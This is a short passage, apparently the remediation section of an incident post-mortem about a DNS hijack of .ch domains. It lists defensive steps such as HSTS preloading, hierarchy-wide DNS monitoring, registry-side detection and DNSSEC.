  • Preload Strict-Transport-Security into browsers for our website in order to protect even first-time visitors.
  • Monitor DNS resolution by not only querying authoritative name servers directly but by crawling the full hierarchy.
  • Discuss with nic.ch whether detection of such events could be improved. Having over 90 domains owned by different entities changed at the same time to point to a single name server is really suspicious.
  • Implement DNSSEC. While in this case the attacker could have been able to either suppress or update the DS record in the TLD zone, the cache mechanism would have mitigated the attack until DS record TTL’s expiration, as confirmed by a discussion with SWITCH-CERT.

For reference, blog posts of Gandi and SWITCH-CERT